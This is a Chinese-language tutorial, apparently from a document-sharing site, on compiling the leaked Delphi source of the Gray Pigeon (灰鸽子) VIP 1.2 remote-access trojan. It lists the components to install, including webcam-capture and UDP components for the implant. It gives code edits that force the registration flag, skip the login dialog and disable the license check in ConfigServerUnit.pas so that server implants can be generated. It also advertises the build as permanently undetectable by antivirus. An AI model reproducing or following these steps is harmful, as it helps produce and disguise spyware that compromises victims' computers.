文档库 最新最全的文档下载
当前位置:文档库 › 灰鸽子VIP1.2源码编释客户端

灰鸽子VIP1.2源码编释客户端


*****************************************************************************

网上下载了灰鸽子 VIP1.2源程序


默认按装Delphi7.0后最少要安装上十个控件才能完全编释,

有的学员可能头都痛了,一大堆控件 其实问题不太

看这动画就明了,改一下还成了个人版 终身免杀,爽吧。。。。。。


AnimationEffect.v2.2 动画窗口控件

DynamicSkinForm 5.90 皮肤控件(源码)。。。先装这个吧,好了

HEXEDIT 二进程编辑 这个这样:

HotKeySpy 1.01 热键



ics 最新版 网络控件

msn_popup 提示控件

Rx Library 灰鸽子里用了 Gif 动画

----------这几个都是服务端用的---------------------
videocap6 视频控件

MYNMUDP.pas UDP控件(修正无法关机的问题)

还有一个SysTray

还要注意要装FastNet, FastNet是以前Delphi6。0带的,Delphi7。0没有 你可到网上下载

复制到Delphi7里


有的乱七八糟的控件干脆不装,删了它, 如Gif 动画 提示控件 1.01 热键 动画窗口控件

开始。。。。。 装控件不就二个地方....

看住。。。。。。。。。。。。 点Lnsall
也是点Lnsall

这个这样:总之是有dpk的就打开点Lnsall就行了 PAS的就在Comppnent 下INSTALL Comppnent对话框下装

基本装完,编释看。。。还不行,是皮肤控件还要这样:

还不行,网络控件还要这样:错了,应是这个 FastNet



======================================
按F8

在这里加上 HgzVip.NoisReg:=True; 这样全局就注册了 已可生成服务端

除去LOGIN.PAS这个用户登入框 :

代码 Hgzvip-onShow事件处理处 改成: 就不用到LOGIN.PAS这个用户登入框了


procedure THgzVip.FormShow(Sender: TObject)
begin
if Tag = 0 then
begin
Tag := 1;
try
IdTCPServer1.Active := False;
IdTCPServer1.Bindings.Clear;
IdTCPServer1.DefaultPort := AutoSxport;
IdTCPServer1.Active := True;
except //打开本地XXX端口失败!你不能使用自动上线功能!
AddLineStr(Translate('String1','打开本地端口失败!请换另一端口!'), 2, False);
end;
end;

try
//PageControl1.ActivePage := TabSheet1;

TreeView1.FullCollapse; //折叠
//Gauge1.Width := TreeView1.Width;
except
end;
end;

======================================

还要注意,如果要改图标或名称 生成服务端上不了线 可打开ConfigServerUnit.PAS

把一些无用的改一下

if Not HgzVip.NoisReg then
begin
// Exit;
end;


最后最好编释后再运行,不然又象我录像最后卡死了。

基本就

可以了,下一步你可一个一个功能来研究了,功能与

RemoteXP (网络尖兵)源代码、Way2.4远程控制代码有相似之处,

只不过RemoteXP、Way2.4源代码是主动连接的。

RemoteXP(网络尖兵)源代码在我站和藏经阁都有下载

相关文档